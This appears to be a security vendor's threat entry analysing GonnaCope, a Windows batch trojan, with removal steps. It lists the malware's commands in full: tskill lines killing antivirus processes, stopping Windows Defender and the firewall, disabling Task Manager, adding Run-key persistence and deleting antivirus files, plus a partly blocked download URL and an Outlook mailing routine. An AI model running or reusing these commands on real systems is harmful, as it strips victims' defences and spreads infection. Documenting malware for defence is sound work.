Analysis by: Nathaniel Gregory Ragasa
ALIASES:

BAT/KillAV.NBD!tr(FORTINET), VBS/Without.A(QUICKHEAL)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 10,870 bytes
File Type: BAT
Memory Resident: No
Payload: Drops files, Connects to URLs/IPs, Steals information

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %System Root%\downloader.vbs
  • {Malware Path}\msg.vbs
  • %Windows%\GonnaCope.bat

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It adds the following processes:

  • net stop Security Center・
  • netsh firewall set opmode mode=disable
  • tskill /A av*
  • tskill /A fire*
  • tskill /A anti*
  • tskill /A spy*
  • tskill /A bullguard
  • tskill /A PersFw
  • tskill /A KAV*
  • tskill /A ZONEALARM
  • tskill /A SAFEWEB
  • tskill /A OUTPOST
  • tskill /A nv*
  • tskill /A nav*
  • tskill /A F-*
  • tskill /A ESAFE
  • tskill /A cle
  • tskill /A BLACKICE
  • tskill /A def*
  • tskill /A kav
  • tskill /A kav*
  • tskill /A avg*
  • tskill /A ash*
  • tskill /A aswupdsv
  • tskill /A ewid*
  • tskill /A guard*
  • tskill /A guar*
  • tskill /A gcasDt*
  • tskill /A msmp*
  • tskill /A mcafe*
  • tskill /A mghtml
  • tskill /A msiexec
  • tskill /A outpost
  • tskill /A isafe
  • tskill /A zap*
  • tskill /A zauinst
  • tskill /A upd*
  • tskill /A zlclien*
  • tskill /A minilog
  • tskill /A cc*
  • tskill /A norton*
  • tskill /A norton au*
  • tskill /A ccc*
  • tskill /A npfmn*
  • tskill /A loge*
  • tskill /A nisum*
  • tskill /A issvc
  • tskill /A tmp*
  • tskill /A mbamgui.exe
  • tskill /A tmn*
  • tskill /A pcc*
  • tskill /A cpd*
  • tskill /A pop*
  • tskill /A pav*
  • tskill /A padmin
  • tskill /A panda*
  • tskill /A avsch*
  • tskill /A sche*
  • tskill /A syman*
  • tskill /A virus*
  • tskill /A realm*
  • tskill /A sweep*
  • tskill /A scan*
  • tskill /A ad-*
  • tskill /A safe*
  • tskill /A avas*
  • tskill /A norm*
  • tskill /A offg*
  • net stop "WinDefend"
  • taskkill /f /t /im "MSASCui.exe"
  • net stop "security center"
  • net stop sharedaccess
  • netsh firewall set opmode mode-disable
  • reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
  • "%System%\WScript.exe" "%System Root%\downloader.vbs"
  • ping 127.0.0.1 -n 6
  • RUNDLL32 USER32.DLL,SwapMouseButton
  • "%System%\WScript.exe" "%System Root%\downloader.vbs"
  • %Windows%\GonnaCope.bat
  • %Application Data%\GonnaCopeDL.exe

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
AVAADA = %Windows%\GonnaCope.bat

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
AVAADA = %Windows%\GonnaCope.bat

Other System Modifications

This Trojan modifies the following file(s):

  • %Windows%\system.ini
  • %Windows%\win.ini

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It deletes the following files:

  • %Program Files%\alwils~1\avast4\*.*
  • %Program Files%\Lavasoft\Ad-awa~1\*.exe
  • %Program Files%\kasper~1\*.exe
  • %Program Files%\trojan~1\*.exe
  • %Program Files%\f-prot95\*.dll
  • %Program Files%\tbav\*.dat
  • %Program Files%\avpersonal\*.vdf
  • %Program Files%\Norton~1\*.cnt
  • %Program Files%\Mcafee\*.*
  • %Program Files%\Norton~1\Norton~1\Norton~3\*.*
  • %Program Files%\Norton~1\Norton~1\speedd~1\*.*
  • %Program Files%\Norton~1\Norton~1\*.*
  • %Program Files%\Norton~1\*.*
  • %Program Files%\avgamsr\*.exe
  • %Program Files%\avgamsvr\*.exe
  • %Program Files%\avgemc\*.exe
  • %Program Files%\avgcc\*.exe
  • %Program Files%\avgupsvc\*.exe
  • %Program Files%\grisoft
  • %Program Files%\nood32krn\*.exe
  • %Program Files%\nood32\*.exe
  • %Program Files%\nod32
  • %Program Files%\nood32
  • %Program Files%\kav\*.exe
  • %Program Files%\kavmm\*.exe
  • %Program Files%\kaspersky\*.*
  • %Program Files%\ewidoctrl\*.exe
  • %Program Files%\guard\*.exe
  • %Program Files%\ewido\*.exe
  • %Program Files%\pavprsrv\*.exe
  • %Program Files%\pavprot\*.exe
  • %Program Files%\avengine\*.exe
  • %Program Files%\apvxdwin\*.exe
  • %Program Files%\webproxy\*.exe
  • %Program Files%\panda software\*.*

(Note: %Program Files% is the default Program Files folder, usually C:\Program Files in Windows 2000(32-bit), Server 2003(32-bit), XP, Vista(64-bit), 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit) , or C:\Program Files (x86) in Windows XP(64-bit), Vista(64-bit), 7(64-bit), 8(64-bit), 8.1(64-bit), 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Download Routine

This Trojan connects to the following URL(s) to download its configuration file:

  • https://cdn.{BLOCKED}dapp.com/attachments/962439896386142310/964283398518603836/GonnaCopeDL.exe

It saves the files it downloads using the following names:

  • %Application Data%/GonnaCopeDL.exe

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Adware Routine

This Trojan attempts to steal stored email credentials from the following:

  • Microsoft Outlook → gathers email addresses

Other Details

This Trojan does the following:

  • It swaps/reverses the left and right mouse buttons function.
  • It sends the following email to the gathered email addresses:
    • Subject: Is this you?
    • Body: Man that has got to be embarrassing!
    • Attachment: %System%\mail.vbs
  • It displays the following message box:
    • Message box title: ---------------------------
    • Message box content: GONNA COPE?"
  • It stops the following services:
    • SDRSVC
    • security center
    • sharedaccess
    • WinDefend
    • wuauserv

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 17.584.04
FIRST VSAPI PATTERN DATE: 24 May 2022
VSAPI OPR PATTERN File: 17.585.00
VSAPI OPR PATTERN Date: 25 May 2022

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    • AVAADA = %Windows%\GonnaCope.bat
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • AVAADA = %Windows%\GonnaCope.bat

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %System Root%\downloader.vbs
  • {Malware Path}\msg.vbs
  • %Windows%\GonnaCope.bat
  • %Application Data%/GonnaCopeDL.exe

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.GONNACOPE.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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